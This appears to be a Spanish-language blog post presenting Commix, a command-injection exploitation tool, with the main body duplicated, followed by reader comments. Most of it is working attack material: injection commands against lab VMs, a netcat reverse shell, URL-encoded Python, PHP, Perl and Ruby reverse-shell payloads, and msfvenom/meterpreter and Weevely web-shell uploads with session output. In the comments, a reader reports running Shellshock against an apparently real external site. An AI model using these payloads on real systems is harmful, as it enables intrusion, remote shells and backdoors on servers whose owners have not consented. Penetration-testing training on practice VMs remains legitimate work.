Commix ([comm]and [i]njection e[x]ploiter) es una herramienta de Anastasios Stasinopoulos (@ancst) que te permitirá encontrar y explotar de forma muy fácil y rápida vulnerabilidades de inyección de comandos en ciertos parámetros y cadenas vulnerables de un servidor web.
Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:
Pre-instalada en:
O puedes clonar directamente el repositorio Git:
git clone https://github.com/stasinopoulos/commix.git commix
Para obtener una lista de todas las opciones disponibles:
python commix.py -h
Ejemplos de uso
1. Explotando Damn Vulnerable Web App:
root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
2. Explotando php-Charts 1.0 usando payloads inyectados en cadenas en sufijos y prefijos:
root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"
3. Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:
root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
4. Explotando Persistence usando la técnica de exfiltración ICMP:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"
5. Explotando Persistence usando un shell (python) alternativo:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --alter-shell="Python"
6. Explotando Kioptrix: Level 1.1 (#2):
root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=INJECT_HERE&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"
7. Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:
root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"
8. Explotando CVE-2014-6271/Shellshock:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock
9. Explotando commix-testbed (cookie) usando inyección basada en cookies:
root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/cookie/cookie(blind).php" --cookie="addr=INJECT_HERE"
Y otros ejemplos un poco más elaborados:
1. Shell inverso con Netcat (nc)
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Ejecuta netcat via commix.
En un pestaña/shell diferente, ejecuta:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="nc -e /bin/sh 192.168.178.3 1234"
Paso 3. Disfruta del shell inverso netcat.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data
2. Shell inverso con Netcat-sin-netcat
En los siguiente ejemplos (inspirados en el post de Pentestmonkey "Reverse Shell Cheat Sheet") prepararemos un shell inverso de netcat, ¡sin usar netcat!
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción "--os-cmd"):
1. Python-reverse-shell:
%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60
2. PHP-reverse-shell:
%60php+-r+'%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B'%60
3. Perl-reverse-shell:
%60perl+-e+'use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B'%60
4. Ruby-reverse-shell:
%60ruby+-rsocket+-e'f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)'%60
Vamos a suponer que queremos un shell inverso en la "192.168.178.3" y puerto "1234" con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:
root@kali:~/Desktop/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60"
Paso 3. Disfruta del shell inverso netcat-sin-netcat:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Subir web-shells con Commix
Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:
1. Sube un shell PHP de meterpreter (metasploit) al objetivo:
Paso 1: Crea el shell PHP meterpreter (mediante msfvenom)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php
Nota: No olvides añadir "" en el fichero msfvenom.php
Paso 2: Arranca el handler (via msfconsole)
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...
Paso 3: Usa commix para crear "msfvenom.php" en el directorio "/var/www/" del objetivo y ejecútalo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"
Paso 4: Disfruta de tu shell!
[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400
meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >
2. Sube un web-shell PHP Weevely PHP al objetivo
Paso 1 : Crea el web shell PHP
weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'
Paso 2: Usa commix para crear "weevely.php" en el directorio "var/www/html/cmd/" del objetivo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"
Paso 3 : Disfruta de tu shell!
weevely http://192.168.178.4/cmd/weevely.php commix
________ __
| | | |----.----.-.--.----' |--.--.
| | | | -__| -__| | | -__| | | |
|________|____|____|___/|____|__|___ | v1.1
|_____|
Stealth tiny web shell
[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'
www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root root 4096 May 18 02:02 .
drwxrwxrwx 8 root root 4096 May 14 01:49 ..
-rw-rw-rw- 1 root root 353 May 8 03:28 normal.php
-rw-r--r-- 1 www-data www-data 606 May 18 02:02 weevely.php
¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos. Para más información, consulta la página wiki 'desarrollo de módulos".
Fuente: https://github.com/stasinopoulos/commix
Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:
Pre-instalada en:
O puedes clonar directamente el repositorio Git:
git clone https://github.com/stasinopoulos/commix.git commix
Para obtener una lista de todas las opciones disponibles:
python commix.py -h
Ejemplos de uso
1. Explotando Damn Vulnerable Web App:
root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
2. Explotando php-Charts 1.0 usando payloads inyectados en cadenas en sufijos y prefijos:
root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"
3. Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:
root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
4. Explotando Persistence usando la técnica de exfiltración ICMP:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"
5. Explotando Persistence usando un shell (python) alternativo:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --alter-shell="Python"
6. Explotando Kioptrix: Level 1.1 (#2):
root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=INJECT_HERE&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"
7. Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:
root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"
8. Explotando CVE-2014-6271/Shellshock:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock
9. Explotando commix-testbed (cookie) usando inyección basada en cookies:
root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/cookie/cookie(blind).php" --cookie="addr=INJECT_HERE"
Y otros ejemplos un poco más elaborados:
1. Shell inverso con Netcat (nc)
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Ejecuta netcat via commix.
En un pestaña/shell diferente, ejecuta:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="nc -e /bin/sh 192.168.178.3 1234"
Paso 3. Disfruta del shell inverso netcat.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data
2. Shell inverso con Netcat-sin-netcat
En los siguiente ejemplos (inspirados en el post de Pentestmonkey "Reverse Shell Cheat Sheet") prepararemos un shell inverso de netcat, ¡sin usar netcat!
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción "--os-cmd"):
1. Python-reverse-shell:
%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60
2. PHP-reverse-shell:
%60php+-r+'%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B'%60
3. Perl-reverse-shell:
%60perl+-e+'use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B'%60
4. Ruby-reverse-shell:
%60ruby+-rsocket+-e'f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)'%60
Vamos a suponer que queremos un shell inverso en la "192.168.178.3" y puerto "1234" con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:
root@kali:~/Desktop/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60"
Paso 3. Disfruta del shell inverso netcat-sin-netcat:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Subir web-shells con Commix
Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:
1. Sube un shell PHP de meterpreter (metasploit) al objetivo:
Paso 1: Crea el shell PHP meterpreter (mediante msfvenom)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php
Nota: No olvides añadir "" en el fichero msfvenom.php
Paso 2: Arranca el handler (via msfconsole)
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...
Paso 3: Usa commix para crear "msfvenom.php" en el directorio "/var/www/" del objetivo y ejecútalo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"
Paso 4: Disfruta de tu shell!
[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400
meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >
2. Sube un web-shell PHP Weevely PHP al objetivo
Paso 1 : Crea el web shell PHP
weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'
Paso 2: Usa commix para crear "weevely.php" en el directorio "var/www/html/cmd/" del objetivo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"
Paso 3 : Disfruta de tu shell!
weevely http://192.168.178.4/cmd/weevely.php commix
________ __
| | | |----.----.-.--.----' |--.--.
| | | | -__| -__| | | -__| | | |
|________|____|____|___/|____|__|___ | v1.1
|_____|
Stealth tiny web shell
[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'
www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root root 4096 May 18 02:02 .
drwxrwxrwx 8 root root 4096 May 14 01:49 ..
-rw-rw-rw- 1 root root 353 May 8 03:28 normal.php
-rw-r--r-- 1 www-data www-data 606 May 18 02:02 weevely.php
Máquinas virtuales con aplicaciones web vulnerables (para aprendizaje)
- Damn Vulnerable Web App
- OWASP: Mutillidae
- bWAPP: bee-box (v1.6)
- Persistence
- Pentester Lab: Web For Pentester
- Pentester Lab: CVE-2014-6271/Shellshock
- Pentester Academy: Command Injection ISO: 1
- SpiderLabs: MCIR (ShelLOL)
- Kioptrix: Level 1.1 (#2)
- Kioptrix: 2014 (#5)
- w3af-moth
- commix-testbed
Demos de explotación
- Exploiting DVWA (1.0.8) command injection flaws.
- Exploiting bWAPP command injection flaws (normal & blind).
- Exploiting 'Persistence' blind command injection flaw.
- Exploiting shellshock command injection flaws.
- Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host.
- Upload a Weevely PHP web shell on target host.
¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos. Para más información, consulta la página wiki 'desarrollo de módulos".
Fuente: https://github.com/stasinopoulos/commix
hola capitan sigo tu blog de hace mucho,nunca he tenido que escribirte nada porque tus post son esplendidos y bien explicados pero ahora no me queda otro remedio cada ves que obtengo shell utilizando el cve 2014 6271 (shellshock) me tira la shell correctamente pero voy a tipear ejm: whoami,ls,etc etc me tira el codigo html de la web no me deja hacer mas nada espero tu respuesta utilizo win 7 professional y blackarch en virtual he probado en los dos y me sale lo mismo ya van dos de dos que me pasa esto gracias
ResponderEliminarno he probado Commix en Blackarch... ¿Exactamente que error te tira?
EliminarMeu amigo Motos - internet é uma ferramenta fantástica quando se precisa achar alguém. Estou tentando contato contigo mas você não me responde no seu e-mail do IG - POR FAVOR, entre no seu e-mail do IG ou contate-me no meu celular 55 11 994194104
EliminarHola Wilson, el único medio de contacto es comentando el blog o escribiendo a nuestra cuenta de correo de Hackplayers. Gracias,!
Eliminareste exactamente en cualquier comando que ejecute.
ResponderEliminarpongo el vector vulnerable: python commix.py --url="http://xxx.xxx.org/cgi-bin/oceanl/oceanl.sh" --shellshock
sensure el link por si acaso si quieres te lo mando en privado y al ejecutarlo me da la shell correctamente.
imagenes subidas a fpaste: https://paste.fedoraproject.org/249795/66707143/
y sale siempre lo mismo cada ves que ejecuto un comando el codigo fuente xD.
aver si tienes una idea de esto gracias un abrazo!!!!
tengo el mismo comportamiento con Commix desde Kali...
Eliminarla causa parece ser que la URL no es vulnerable a ShellShock, de hecho oceanl.sh no es un shell script...XD
ahhhh no =)?¿? xDDD...!!jajaja como me obtenia la shell pense que si??? jajaja y entonces .sh que es¿? bueno un saludo crack
ResponderEliminarJajaja pues yo creo que es simple html... No se por qué le han puesto la extensión sh pero me temo que se trata de un falso positivo.
EliminarSaludos!
ok gracias por tu ayuda me sirvio de mucho ya se para la proxima ves....
EliminarEste comentario ha sido eliminado por el autor.
Eliminar